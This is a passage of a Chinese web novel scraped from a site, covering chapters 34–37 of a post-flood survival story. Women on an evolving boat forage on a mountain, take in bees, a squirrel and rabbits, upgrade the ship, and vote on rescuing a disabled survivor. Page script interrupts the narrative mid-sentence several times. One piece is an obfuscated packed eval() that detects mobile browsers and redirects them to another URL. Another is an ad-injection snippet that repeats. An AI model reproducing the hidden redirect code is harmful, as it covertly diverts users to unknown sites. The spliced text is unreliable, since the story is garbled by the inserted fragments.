苏凤晚惊讶：“啊？现在上树，这树要是中途断了……呸呸呸，这种天气，蜜蜂也采不到花吧，估计是没有的，别白费功夫。” 大雨天上树，这也太危险了。 萧顺清知道下暴雨不能爬树，但她们都在下雨天进山了，也不怕被雷劈，就算她也觉得蜂巢里应该没有收获，但来都来了，蜂巢这东西很特别，不过就爬个树，也不费什么事。 “你走远些吧，不用管我，注意安全。” 一个人上树，整棵粗壮的树都山崩一样晃起来，水坨飞溅，砸在地上都是小坑。 苏凤晚仍旧担忧，不过她也的确不能就干看着。 “那我先去周围看看，你自己小心。” 苏凤晚拿木棍探路去了其他地方，萧顺清在高处将她的背影收入眼中。 远处的水面上也能看见自己船，茫茫水面，好像只有这一样人类的产物。 事实上，这也不是人类产物。 收回视线，萧顺清专心爬树。 她也是从小爬乡下果树野树的人，脚下这棵树很粗壮，除了又湿又滑，小心下脚没有问题。 很快，她绕过断掉的枝桠，来到沾着蜂巢的粗壮树枝。 里面没有蜜蜂的活动痕迹，倒是好像还有黄色的蜂蜜。 带回去再仔细看看。 萧顺清折了一根树枝，小心翼翼把蜂巢剥离，罩进自已雨衣里，她身上随身携带一根绳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13749528|142923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子，担心蜂巢会掉，她用绳子绑住腰部，蜂巢捂在身上。 下了树，转头四处看看，循着苏凤晚离开的方向去了。 雨水浇透的丛林，灰黑色的雨衣笼罩着一个人蹲在枯叶上。 “你在干什么？” 苏凤晚转头对她一笑：“这树底下好像有蘑菇，我挖点菌土，说不定能长起来。” 萧顺清目光一寸寸扫过地面，新旧树叶厚厚堆在地面，没有看见菌子，疑惑她怎么确定这儿有蘑菇菌种的。 萧顺清走近帮她。 苏凤晚指着一个枯叶道：“看，这是红菇。” 萧顺清皱着眉，拨开树叶，落叶下果然是一颗漂亮的蘑菇。 但是…… 先不说苏凤晚怎么能从这么厚的落叶里看见蘑菇，这种颜色的蘑菇能吃吗？ “这个，真的能吃吗？” 苏凤晚迟疑：“应该可以吧，我看那些视频里都会采这个。营养价值可高了，我之前旅游想买，1500一斤！” 萧顺清犹疑点头。 苏凤晚的主要目的实际上是找蘑菇，只是蘑菇难找，她才边采蘑菇边挖菌土。 萧顺清担心一片山头不可能只有一种蘑菇。 就算红菇是真的，她们搬回去的土里应该也会有别的蘑菇长起来，那时她们究竟吃不吃。 而且，她们现在还没有火呢。 不过这些土壤很肥沃，她们种果树种红薯也需要很多的土壤。 萧顺清也蹲下身，开始挖土，土壤里的还有很多草籽。 虽然一开始她主要挖这些土壤，但后来看见鲜艳欲滴的蘑菇，还是忍不住采摘的手。 渐渐地，竟然沉迷进去，一会儿就是一朵，还将泥土轻轻拍开，找到小巧可爱的蘑菇摘下来，放进口袋里。 直到周莹的异能带着她们各自的声音炸响在耳边，两人才如梦初醒。 “你们遇见什么了，怎么还没回来？” 周莹同时沟通了两个人，是以萧顺清和苏凤晚都吓了一跳。 镇定下来之后才拍拍胸口，回了周莹的话。 低头自己手里的蘑菇，恍然觉得这项活动真是能够消磨时间。 在船上的日子很无聊，没有电子产品，聊天说两句又觉得没有力气说话，每天都盯着水面，觉得空虚无比。 萧顺清上次带回来几本书，都被几人分着硬着头皮看了。 因为太无聊了。 采蘑菇却很有趣，不管是找蘑菇还是挖蘑菇，就算是指甲缝里都是泥，也不能掩盖她们的愉悦。 萧顺清甚至道：“就算是蘑菇有毒，也值了。” 她难得放松下来。 不过这会儿再待下去就引得船上的人担心了。 萧顺清拉了她一把，将苏凤晚从蹲麻的状态解救出来。 回到船上，她们的收获看着丰富，实际上都脏兮兮的，裹着泥巴，一副都不能吃的样子。 丘莲：“这是什么？” 经过刚刚丘莲的小露一手，萧顺清对她有点期待。 她和苏凤晚将自己采的蘑菇都放在甲板上。 “你会认蘑菇吗？” 34.生灵 丘莲一言难尽地看着那些蘑菇。 “我觉得都不能吃。” 苏凤晚为自己的蘑菇辩解。 “不要因为它们的颜色鲜艳就觉得有毒啊，这是红菇，红菇能吃的。” 丘莲怀疑：“真的吗？可是这些真的是红菇？我怎么看着像是有白点。” 红菇的表面光滑，不管是它的本体还是变色体都是一种颜色，像现在这种红色的伞面，白色的斑点。 她觉得更像是鬼伞啊，剧毒的那种，看着就令她胆寒。 苏凤晚惨叫一声，蹲下身翻看，果然确认自己找的蘑菇里有好些都长得跟彼此不一样。 就算她知道红菇能吃，那跟它长得完全不一样的蘑菇肯定就不能吃了。 萧顺清也叹气，这结果在意料之中吧。 她安慰道：“没事，留着说不定能喂喂怪物。” 苏凤晚还是很悲伤：“那我们挖回来的土……” 萧顺清：“放进种植屋吧，说不定会长出好蘑菇来。” 她们带回来的蘑菇也不能说都是毒蘑菇，仔细分辨下，许多长得都不一样，或许里面有能吃的，只是因为苏凤晚的红菇言论破灭，导致其中有可食用蘑菇的可能性大大降低。 但是都带回来了，也不碍事，要真的是毒蘑菇，她们不吃就好了。 就算是好蘑菇，她们没有能生火的东西，现在也不能吃。 苏凤晚和沈金兰去种植屋放土，萧顺清正想先去洗澡，却忽然觉得身上有点痒，不知什么东西在爬。 难道是刚刚在树林子里招来的虫子？ 萧顺清赶紧脱下雨衣，里面捂着的半个蜂巢便露出来。 她身上的衣服已经被蜂巢蹭脏了，把东西放下，雨衣一脱，她就要抬步去卫生间。 忽然，周莹“啊”的叫了一声。 手指着萧顺清的身上，惊讶又担心。 丘莲顺着手指的方向看过去。 “萧顺清，你身上有只蜜蜂。” 萧顺清低头，没有看见什么蜜蜂，又明白过来，转头向后看去。 真的是个小小的蜜蜂在背上爬。 竟然还有活着的蜜蜂。 萧顺清挺开心，比蜂巢内有蜂蜜还令她愉悦。 笑了一下，安慰她们：“没事，我带的那个是蜂巢，我还以为里面都没有蜜蜂了，没想到。” 没想到什么？ 没想到这么小的生物在这样的环境下也能顽强活着。 她们看那蜂巢灰不溜秋的，还以为是和苏凤晚一样带的泥巴回来。 蜂巢内爬出来的有一只，里面说不定还有她们看不见的幼虫。 要是在洪水前，对于会蜇人的蜜蜂，她们可能会觉得害怕，但是在这样全世界都艰难求生的情况下，看见另一种生物的顽强，似乎也给她们带来了心理安慰。 萧顺清找了一个盆，暂时将蜂巢盖住，留出一掌宽的出入口，放置在种植屋内。 这里有点植物，说不定这些蜜蜂能够再重新建设起自己的巢穴来。 以后要是种植房内的花花草草开花结果时，这些蜜蜂说不定也能帮上忙。 话说回来，也许为了能够更好地种植，她们应该找到更多的完整生物链内的生物。 蜜蜂们从大雨冲刷的环境内脱离，慢慢地，似乎感觉到周围没有潮湿的雨水会打湿它们的翅膀，导致它们再也飞不起来。 终于，它们一只只爬出了破烂的蜂巢，安安分分待在水盆附近，暂时没有到处乱飞。 周莹颇感兴趣，悄悄蹲在种植房里面看它们。 沈金兰和李自也醒了过来。 雨天路滑，没人会要求一个老眼昏花的老年人出去找吃的，况且在种植房内的工作每天都没落下。 李自这次和陈师望组队出去探索，过了不久，李自扛着一颗树回来了。 萧顺清抚着额头。 “你是在展示你的异能？” 李自的异能刚经过升级，这会儿就抱了一棵巨树过来，真不知道是出于什么心理。 李自没有解释，反而是陈师望笑嘻嘻地道： “这山里果然都是好东西，李自在树里找到了松鼠窝，里面都是坚果，板栗核桃你们都吃过吧。” 船上的其他人才惊喜起来。 就算这树是不能种活了，但是里面的东西可是宝藏。 要是那些种子还有活性，是不是还能种出什么树来。 现在的她们满脑子都是多种树，只有可持续资源更多，她们未来的生活才会更安全。 而至于这松鼠窝，就算她们能够找到，换了一个人去，也说不定也拿不回来，但李自将树拔了出来，连“储藏室”都拿过来了。 船头似乎沉了沉，所有人都围了上来，从洞里掏东西。 越掏越兴奋，丘莲和周莹都更是很期待，想要赶紧装完这一批东西，然后自己上山去再找找有没有好东西。 另外两队人都有收获，她们也想寻寻宝物。 摸到最后，丘莲却忽然惊呼一声。 她摸到什么毛茸茸的东西。 紧接着她们就知道是什么了。 一只愤怒的松鼠从树洞深处钻出来，悲愤地吱吱叫着，那不断挠动的前爪显示着它有多么的无能狂怒，就连那圆溜溜的眼神都好像在质问这些可恶的人类。 丘莲直面这只可爱松鼠，从惊讶转换为惊喜，但是很快意识到她们拿了人家的存粮，几目相对，似乎有些尴尬。 李自尤其尴尬：“……无量天尊。” 类似于阿弥陀佛一样的话，她们也猜到李自的心虚了。 但事已至此，她们也不可能将到手的东西还回去。 体力消耗过多，帮忙将树干整体都绑在船头后，李自进了船舱休息，陈师望两手空空，应该是刚刚发现松鼠窝后就赶着回来了。 那只松鼠被留在船舱内，放肆地在自己仇人地盘上窜来窜去，倒是很聪明，没有跳进水里，还会忧伤地趴在窗口看着水面。 它丝毫不怕人，对四处坐着的人视若无睹，萧顺清看它戏精，也忍不住笑着看它。 松鼠没有逃走，抖落着自己毛上的雨水，想要钻进软绵绵的被子里。 萧顺清眼疾手快，将它一把捞住，擦干了毛上的水珠，才放它去被窝里暖和着。 苏凤晚将它的坚果收在正经储藏室，这一波可是极大丰富了她们的食谱，甚 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 至还有种植屋的种子储备。 这一切除了多亏李自，还多亏了这只大雨前辛苦的松鼠。 见它还知道找好地方窝着，也笑着伸手摸摸它的尾巴。 松鼠不想搭理人，冷酷地卷起大尾巴。 周莹和丘莲也结伴出发，下船进山去找东西。 等了许久，她们才浑身泥水的出现在众人眼前。 “这是怎么了？” 周莹摇摇头，有些累的样子。 丘莲笑着展示：“我们看见一条蛇，周莹带着我跑路，结果踏进山里的水沟，摔了一跤，还抓了这个。” 她手里提着两只大螃蟹，大钳子都被草锁着，不能张牙舞爪。 周莹有点遗憾，用异能道：“摸遍了水坑，就这两只，不知道是怎么跑上去的。” 这看着不像是海蟹，就是普通河蟹，能够长得这么大也是不容易。 这山里真是多奇珍异宝。 她们都走过一圈，体力见底，但精神兴奋，甚至想多待一天，等吃饱喝足了，再去一趟。 萧顺清也犹豫了，赶路倒也不急。 这山里的东西真的挺多。 听周莹和丘莲的话，里面还有蛇，说不定还有别的生态系统存续着。 蛇她们是敬谢不敏，就算是生物链里的一环，放进船内让它四处游走，晚上钻进被窝那就是恐怖游轮。 不过万一有别的呢？ 经过商议，所有人都同意今晚歇一天看看情况，明天再进一次山。 次日，她们休息好，天公却不作美。 雨好像更大了，山上的状况肉眼可见不乐观。 萧顺清蹲在船边看水，皱着眉：“水位上涨了。” 她昨天将船开到几近岸边，船底触到了泥地，这会儿却明显随着涨水，船又高了。 以前没有参考物，现在终于明白了水上涨得有多快。 昨天还露出山头的山，这会儿好像再过十几天就彻底消失不见了。 萧顺清将船又开近了些。 “今天山里可能更危险，我们三人一组，快去快回。” 当断不断，反受其乱。 原本这次要是还找到了好东西，她们可能就会在这儿多停留很久，但事实是，这种海拔不够的陆地迟早都会消失在上涨的水位中。 还是赶紧走吧，早日到了高原，说不定还能赶上真正的大部队。 她们三人一组，都不敢再靠近更深的山里。 不过，这处的物藏的确很丰富，最后回到船上，她们也收获颇丰。 萧顺清甚至抓到了一对兔子。 不知道公母，但是，如果是一公一母，那她们可就有口福了。 兔子很能生。 以前小的时候，家乡有人抓了野兔子养，后来成了鼎鼎有名的兔肉厂商。 仅仅一季，就能生十几只。 高兴之余，萧顺清心里觉得这真是甜蜜的负担。 之前升级过后，众人的生活空间大了许多，但是以后兔子要是真的开始生育，那就得专门划分一个地方来养兔子了。 其实，尽管距离上一次升级不久，但她总觉得，自己好像很快又能升级了。 35.撼树 由于两只兔子拉屎太臭，被放进了种植屋内。 兔子胆小，而且担心它们会吃现在刚刚种出来的植物，萧顺清扩大了种植屋的范围，将兔子安置在角落，用围栏隔离。 它们自己用泥巴和其他东西搭了一个巢穴。 多亏了李自带回来的大树，这两只兔子的食物可以是树梢的嫩叶。 当然，那些她们挖到船上的土壤里有很多草籽，长出来的野草人类不能吃，兔子倒是无所谓，沈金兰除草的时候，就将这些草丢给兔子吃。 如果她们的种植业顺利发展，那些红薯发出来的红薯叶不仅可以给她们作为食物，也能改善兔子们的口粮。 那只松鼠机灵得多，她们也没有将这只小松鼠当做储备粮的念头，干脆放它自由在船舱跑动。 松鼠在原来的窝和现在的窝里割舍不下，那棵被李自连根拔起带到船上的大树依旧放在船头。 繁茂的根系，昭示着它需要深深地扎根土壤。 “既然决定要试试种这棵树，那就多挖土。” 水面上涨，陆地只会越来越少，她们现在没有将这棵树扔下，那未来必然会需要更多的土壤来种这棵树。 况且种植其他作物也需要土壤，优山的土壤不仅肥沃，可以种植她们想要的农作物，对于她们从优山带下来的动植物来说，这写诶土壤也更适合它们生长。 于是，她们的生活区域面积再次缩小，种植区再次扩大，里面的泥巴纵深在一米以上，压实又重新收拾。 船内的高度不够，大树暂时种不了，但其他东西种得更好了。 例如土里那些原本看不见的花花草草，翻土后没多久，她们看见了嫩草冒出芽来，还有的结出星星点点的小花，吸引了蜜蜂停留。 专门给水生动植物划分的区域足够那些小鱼小螃蟹欢快地玩耍，那三只螃蟹各占一地，在土里打了洞，偶尔出来吃点水草。 即使只是细微的变化，却也让她们看见了勃勃的生机。 带着来自优山的动植物，船离开优山，向着盆地外驶去。 她们离开的时候，优山大概还剩下百米的高度露出水面。 带着满满一船的东西行驶，这船的吃水仿佛都变深了。 船上人的生活变得更加忙碌，收拾兔子的窝，给兔子找能吃的东西，喂松鼠，清理松鼠掉落的毛发。 日子渐渐充实，她们心里都是高兴的，整日无事可做，恐慌便会侵袭，让自己忙起来，反而没空想些有的没的。 多做一点，好像离人类最后的末日就更远一点。 船在水面上飘荡的日子，不知道确切天数，只知道她们陷入梦乡七回。 萧顺清升级了。 也不知是不是这次升级来得太快，仿佛是被催熟，这一回和上次的待遇不太一样。 萧顺清觉得浑身上下都在疼，就连脑仁也像是被人用刀在戳动，一阵一阵，上一阵痛感还没有过去，下一阵疼痛又叠加上来。 上一次升级的舒服应该是意外，这才是正常的升级状态，或者说，这次的疼痛是连着上次的份一起找上了门。 比以往任何一次都要痛。 痛入骨髓，萧顺清蜷缩在升级房内，她自己也知道此时的她有多狼狈。 庆幸的是，单独在房间内，这一切不会有人看见。 但是，疼痛让她脑子里似乎有一层薄雾，笼罩了她的神经，她并没有意识到，由于出乎意料的巨大痛苦让她全身心抵抗，以至于整个船开始不平稳起来。 沈金兰率先意识到这一点，焦急担忧地看着房间内。 “不会出什么事吧？” 丘莲握住她的手：“不会的，会好的。” 船身失去了向前的动力，洪流冲刷下，整艘船开始晃动不安，最终还是顺着水流往低处走。。 众人对萧顺清这次升级的意外始料未及，慌乱之中做好准备，将所有晃动的东西稳固好。 而好消息是，现在的船已经更加安全，她们不用担心自己会被摔飞出去。 左右晃动中，苏凤晚选择贴墙坐着。 同时忧心忡忡：“难道以后升级都这么痛苦？” 陈师望打了个寒颤：“萧顺清是我们当中最高级吧，她这是升几级？” “6级？” 她们叹息着，也在为自己的未来担忧。 当然，当务之急是将船从横冲直撞的状态里解救出来。 她们控制不了船的方向，只能一边让李自挥舞大树把要撞上船的杂物赶开，一边在门口不断呼唤萧顺清的名字。 萧顺清什么都听不到，她好像陷入了一个深渊，黑漆漆的一片，只能看见一艘小船在黑暗中悬浮着。 那艘船散发着白色光芒，她拼命向着船游去，却动弹不得，灵魂和□□仿佛在挣扎中撕裂，船身的光愈发耀眼夺目。 直到，她再也看不清船的形状，只觉得那是一团光晕，她的眼睛像是直视太阳一样刺痛起来。 终于，白色的光芒席卷整个黑暗的深渊，她喘着粗气痛苦地睁开眼睛。 过了好一会儿，她才感觉到自己身上像是淋了雨一样浑身黏腻，出了一身的汗。 “萧顺清！醒醒！” 苏凤晚在房门外叫她，萧顺清嘶哑着嗓音回了一句： “醒了。” 然后便抱着脑袋，等痛苦的余韵散开。 真疼。 她险些想骂人。 缓过劲儿来，她长长松了一口气。 她试图回想刚刚在意识里看见的场景，却怎么也想不起来，只剩下一片白光笼罩的场景。 也许那只是一个梦，无意义的梦。 萧顺清没有再为难自己。 那些东西不值得深究，还是专注眼下比较好。 站起身，体会一下异能的状况，萧顺清总算有些满意。 这一次没有白疼，升级之后的效果越来越明显。 打开门，苏凤晚和沈金兰都站在原地，目光锁在她身上，都充满担忧。 她没力气说多少话，只是勉强扯扯嘴角，道： “没事，别担心。” 她喝了口水，洗澡换过身上的衣服，状态恢复些许，便立刻让所有人做好准备。 这是升级之后要对船进行改造了。 众人抱松鼠的抱松鼠，抓兔 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 子的抓兔子，揪住鸭子不放，还被嘴硬的鸭子叨了两口。 瑜伽垫不听话地落下一角，周莹手忙脚乱的卷好，弓着身子抱住。 所有人都慌里慌张，也不敢耽误，甚至大气都不敢出。 盯着萧顺清，等待船的全新面貌出现在她们眼前。 一分钟过去，无事发生。 苏凤晚：“开始了吗？” 萧顺清似乎在思考，看着船末尾的那几间房，似乎在想该如何处置。 众人懵圈地等待中，种植房和兔子房都重组，然后消失不见。 陈师望就是抓着兔子的人，眼看着兔子家都没了：“哎！不会要把兔子跟松鼠一样放养吧，呕，好臭。” 苏凤晚惊恐地指着兔子：“你管管它啊！它拉了！！！” 虽然船好像没什么变化，但人是真的慌了。 萧顺清转过身来，虽然看起来什么也没做，但还是拍了拍手上不存在的灰。 “好了。” 沈金兰疑惑：“这就好了？” 萧顺清笑起来，指了指窗外。 她们疑惑地看去，却发现水位不知道什么时候变低了。 不对，是她们所处的位置升高了！ 萧顺清拿着个面包补充体力，又对摸不着头脑的众人道： “船尾有楼梯，可以下去看看。” 她们一窝蜂地朝楼梯走去，这才意识到萧顺清把船升级到了什么样子。 既然有楼梯，这船就有至少两层空间。 楼下那一层，完完整整地被用作种植和畜牧，泥土铺满几乎整个船底，一条干净的小路从楼梯口延伸到船头。 末尾处是专门开辟出来的小水池，里面的水清澈见底，三只螃蟹迷茫的在里面弹出眼睛观察，藏在芋头叶子的阴影中，不知道自己的活动空间又怎么又变大了。 两条小鱼不安的跃出水面，又很快躲藏进浮萍莲叶底下。 船两侧依旧有窗户，光照射进来。将这里衬托成了一个与世独立的小花园。 棕褐色的土壤里冒出嫩芽，不知道是果树还是杂草，但总归是生机盎然。 左侧的角落，用土包堆成的隆起也很眼熟，是之前给兔子搭的窝，里面十分干爽，还放了晾干的枯叶。 这会儿陈师望惊得目瞪口呆，兔子也飞快的逃走，左闻闻右嗅嗅，找寻着自己的味道，挨挨挤挤钻进了窝里。 几只蜜蜂受了惊，从盆里钻出来，停在树苗上。 可以想见，这几乎要变成一个完整的生态系统。 萧顺清站在最高处，清冷带笑的声音让她们如梦初醒。 “怎么样，还满意吗？” 看着那整齐的土地，她们骨子里种田的血脉都觉醒了，怎么会不满意呢。 “天哪，怎么会不满意！这一块！我要用来种红薯！” “我想试试那个板栗能不能发芽。” “鸭子是不是也能放进来，它们不会吃我的鱼吧？” 她们七嘴八舌，兴奋极了，讨论着这一层土地的用途，没有人会说不满意。 咽下最后一口面包，萧顺清招手：“李自，上楼，搬树。” 36.残缺 经过升级，一层居室变成两层别墅，如今的高度对于一棵树而言已经足够。 尽管被松鼠掏了一个储藏室，尽管被李自连根拔起又泡了十多天，这棵大树还是展现出非一般的顽强。 一楼和二楼的甲板出现一个大洞，供大树树干整个穿过。 树冠的部分留在二楼，枝叶稀疏，偶尔经受甲板上方定时开启的风吹雨淋。 树干则笔挺地立在一层的种植园里，那个树洞保持着干燥，松鼠可以随时从一层沿着树干爬到二层。 经过土壤掩埋，大树的根系已经看不见，从此会在一层的种植园里扎根，或许在某个合适的季节，它会重新抽芽。 船头上空实际上也有铁制雨棚，只是迎风启航的时候，风雨难免飘进甲板，淋到树冠上。 将树根都埋进土里，大功告成，众人都回到二楼，才发现还有惊喜在等着她们。 除了卫生间，每个人都有了自己独立的卧室，总共不过4平方的大小，如果有床，刚好能够放下床后转身顺敞， 她们目前没有那么多的被子床褥，但是这可是生活质量的大大提升！ “我们下次有机会碰见居民房，再搜寻更多的生活物品，现在大家可以有自己的私人空间，除了食物，所有人带回来的东西都不需要再上交。” 萧顺清如此说道：“但是，如果私人空间内放不下了，在公共区域内的东西就归入公共所有。并且，找寻更多动植物的任务，仍旧不能放下，不能因为搜寻个人物资放弃对公共环境的建设。” “对公共环境建设以及物资搜寻都算积分，以后我们的食物领取按照积分算。” 没有人有异议。 大锅饭吃久了，她们也习惯了这样的分配。 而眼下，她们有了全新的私人空间，这已经足够拉升一大截幸福感。 她们分别选了自己心怡的房间。 房间内有铁窗，窗外有窗沿可以挡雨，但大风来袭的时候还是需要关闭窗户才能阻挡风雨的侵袭。 她们都在心中谋划，下一次靠近陆地，她们要找到什么东西来丰富自己的房间。 而她们期盼的时刻很快就到了。 这里原本是一条河流，夏季一旦暴雨，河边的村庄都会被淹没，这次全球范围内的海水上涨，则更是可怕。 这条河流率先冲毁了堤坝，附近的农村低矮房屋无一幸免。 萧顺清她们到达时，此处只剩下在高处新修建的楼盘，想必是开发商精心挑选的地方，为了躲过年年汛期的河水，却没有躲过这次的灾难。 仅剩几处独苗，露出高层的建筑。 她们兵分两路，周莹负责两处的通讯。 萧顺清，苏凤晚，陈师望一组，余下除了沈金兰自成一组。 三人进入门户大开的房屋，分工在建筑这一层各处搜寻。 “谁！” 忽然间，萧顺清听见柜子里传来响动。 这显然不是同伴。 但现在这样的状况，这个地方竟然还有幸存者？ 萧顺清下意识地厉声质问，另外房间的苏凤晚和陈师望也赶了过来。 “什么情况？” 听见外头来了这么多人，里面的人显然意识到自己藏不住了。 但是萧顺清也反应过来，这有可能是人家的家。 她立刻将东西放下，对二人道：“我们退出去，把东西放下……” 她不想生出事端。 尽管不逃离这儿的人迟早会死，可如今人还活着，在这里有人的情况下，她们搬运物资，或许更像是抢夺。 当然，萧顺清几人的道德感仅限于此，毕竟除了这间屋子又不是没有别的地方可以搜寻。 幸好在这儿的不是经常嘴里蹦跶法律条文的李自，不然道德感强烈的李自估计能纠结死见死不救的法律条文。 另外两人没有异议，当即将身上的东西丢下，准备离开这里，抓紧时间去没人的地方。 “等等！你们，你们是不是有离开的办法！救，救救我好吗？” 衣柜门打开，从里面爬出一个瘦弱的身影。 一个女人，皮肤苍白，骨瘦如柴，戴着副几乎挂不住的眼镜。 萧顺清光是看看那镜片的厚度就觉得头晕目眩。 女人没有表露出任何威胁，在看见现场的两位女性之后也只是苦苦哀求。 萧顺清观察起她周围的情况。 很奇怪，在这样的暴雨天，窗户破损，狂风席卷暴雨，水流都从外将地板泡烂，但这个女人身边干爽极了。 就连她待的衣柜都很干燥。 萧顺清觉得不对劲，小声道：“后退。” 她们三个齐刷刷后退，眼镜女人慌忙撑起上半身，萧顺清等人这才发现，这女人下半身少了条腿。 也许，正是因为残缺，导致她被丢下，只能在这儿等死。 但是，一个残缺的人，似乎也不能加入她们。 萧顺清选择做一个坏人：“抱歉。” 女人哭起来，眼泪润湿了镜片，让人十分可怜。 她似乎认清了自己的命运，在三人转身离开的时候哽咽着叫住她们。 “不用把东西丢下，你们都带走吧，留给我也没用。” 她没有缩回柜子里，而是慢慢爬到一旁，她强撑着坐起来，抱住自己仅剩的一条腿，精神恍惚。 “柜子里的衣服都是干的，你们可能有需要，但是……吃的给我留一点好吗？我，我还没有到死的时候。” 她几乎是喃喃自语，蜷缩在角落，不再看她们：“我还没有死呢，我会活多久呢……” 萧顺清握紧了拳头，女人几乎要被绝望逼疯的样子触动了她，尽管三人都默默无声，却在此刻都握紧了双手。 她们嗫嚅着道了谢，苏凤晚不忍心再看，离开了这个房间，陈师望也走到客厅去找更多的物资。 萧顺清原本就选择了这个房间搜寻，此时，她离开的脚步是最慢的。 目光几次落在女人身上，却始终下定不了就决心。 她们都看不出来女人的价值，如果带上她，会给全船人都带来负担。 丘莲是个没有异能的普通人，已经在她们中显得有些突兀，身体很弱， (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 总是需要更干净的食物。 但是她们已经接受了丘莲上船，自然会将她当做同伴，丘莲也在努力为船上创造价值。 沈金兰是个老人，某种程度上也不能搜寻物资，但她有紧急时刻保命的异能，还对种植粮食有研究，对船的贡献无关她和萧顺清的关系，已经足够不可或缺。 那这个女人呢？ 不良于行，从身体条件上来看，她似乎应该是物竞天择中最早淘汰的一批。 但是，仔细的观察带给萧顺清另一个猜想。 她看向衣柜里异常干燥的衣服，而女人原本待着的实木的衣柜竟然没有发霉。 奇怪的女人，奇怪的状况。 “你是不是有异能？” 女人迷茫地抬眼看过来，她的表情述说了她并不知道萧顺清在说什么。 但是萧顺清有另外的甄别技巧，遵循着直觉问。 “你一个人待在这儿多久了？” 女人讷讷道：“已经快一个月了……也许更久。” “那你吃什么，喝什么？” “我，我有囤起来的食物，你能不能不要拿走……我真的，我真的不想死……” 她害怕萧顺清抢走她的食物，但是萧顺清暂时不想纠结食物的事。 或许真的是女人可怜的样子打动了她，她希望女人有异能，即使是个鸡肋的异能，她也能试图说服自己，让她上船。 船上的空间足够大，房间足够多，也许就是需要女人再发掘自己的能力，能够获得船上的积分，活下去。 “你身体这么弱，竟然没有生病？” “也许，也许是运气好吧，那个柜子里还有我屯的药品，你们也拿走吧，我好像，确实没有生病。” 萧顺清觉得她就是有异能，但是就连女人自己也不知道自己的能力，她也推测不出来。 “周莹。” 一直保持通讯的周颖立刻回复。 “怎么了？” “你那边的人投票，我们发现一个幸存者，要不要让她上船。” 她在心里这么说着，并没有让女人听见，她不希望结果落空，使得女人燃起希望又失望。 她也出了房门，将苏凤晚和陈师望聚集到一起商量。 “她应该有异能，但是自己不知道，我们也无从得知她的异能究竟是什么。” 听说那个看着就瘦弱的女人竟然没有生过病，她们也才意识到不对劲。 这样的环境，说句物竞天择适者生存也不为过，可那个看起来处于最初就应该被淘汰位置的残缺女人，竟然好好的活着，并且看样子一时半会儿也死不了。 她应该真的有异能。 根据丘莲和她们的对比，得出的结论就是如此。 “你想让她上船？” 萧顺清没有正面回答：“这取决于你们的投票。” 萧顺清没有告诉她们一件事，她隐隐觉得，自己的升级也许不仅仅与自己操控船的能力有关。 前两次升级的时间间隔和疼痛程度，让她在看见这个女人可能有异能之后，兴起了验证这个想法的念头。 37.天平 显然，这个做法很残忍。 萧顺清觉得自己不仅仅是不善良，是真的有几分残忍。 残忍在于将一个人的生死由几人投票决定，甚至把投票权交到别人手中，对于投票的人来说同样残忍。 不是谁都有勇气放弃一条生命。 可是这就是现实，她们必须决定接纳或者放弃。 丘莲猜想到自己上船时也经历过这一遭，原本她不喜欢第一个表态，但此时心里却有一种悲哀促使她开口： “以后每一次遇见幸存者，难道都要这样决定吗？这和挑选猪肉有什么区别。” 将生命放上天平，即使做出的决定是拯救，那也是将人命当做商品的行为。 周莹一如既往的沉默，这里除了李自也没有多的人再听见她的话。 而李自也同样认可这个观点。 可是，他并没有附和丘莲这句拷问人心的话。 “将人命放上天平的不是我们，相反，我们也是被迫到了决断人生死的位置。” 那是谁？是萧顺清吗？ 大概只有萧顺清自己会这么觉得，并因此感觉到不适。 正如她们这些投票者会因为投票的举动感觉到煎熬，萧顺清也会挣扎每一个决定。 但实际上，每个人的位置，都是这世道推动而成。 丘莲一时感伤才说了那样的话，在李自还没开口前便觉得这话不合时宜，李自说了之后更加确定这话不能传播。 她讨好地拉着周莹胳膊：“我就是随口一说，没有别的想法，你就忘了吧。” 周莹没有什么表情，却点了点头。 也许她们都被说中了心思，只是每个人的表现不同罢了。 这边三人的简短交流并没有被萧顺清知晓，她只是冷着脸，等待着投票结果。 明明是这边的三人与眼镜女人打了照面，那头的三人反而更快决定好投票结果。 三人都选择了同意上船。 已经有了三票，苏凤晚和陈师望的决定不重要，但她们也还是紧接着表态，可以上船。 “但得确定她的异能究竟是什么吧，我们已经定好根据每日贡献分配积分，她如果什么都做不了，难道也要发积分？” 苏凤晚的话当然也很正确，如果眼镜女人上了船，却不能自己赚积分，那她们是给“低保”还是无视？ 无视的话，那跟现在把人留在这儿没区别。 “低保”的话，她们现在的状态，不可能接受这样不公平的对待。 多劳多得，即使她是弱势群体，但她们又不是慈善机构，白养她只会滋生不平衡。 陈师望环视房屋：“这些东西都带上，算不算交了保护费？” 就跟他之前一样。 苏凤晚不咸不淡反问：“那你现在难道没有自己赚积分？” 今非昔比，就算这里所有的东西都充公，那这些不可再生的资源迟早会被用掉，眼镜女人没有下船找寻物资的能力，到那时，结果就是变成累赘。 想着想着，她心里也郁闷了一瞬。 所有人都同意，搞得她好像多恶毒一样，但事实是，如果女人没有别的方法做出贡献，迟早船上的公平会被打破。 她仍旧记得萧顺清最初时想要维持的平衡。 一旦出现“特例”，那以后的平衡怎么维持？ 萧顺清调和：“好了。周莹，你那边物资搜寻完就先上船，我们这儿再确认一次。” 异能的事本该在投票之前就搞清楚，但先前她若再多问几句，难免不会让眼镜女人心生期待，要是再进行投票，结果不好更令人难过。 现在顺序反过来倒没什么。 她们收拾好东西，又再次出现在颓废的眼镜女人面前。 萧顺清敲敲柜子，将她的意识唤回。 女人瑟缩，精神涣散，仍旧强撑着警惕看她们。 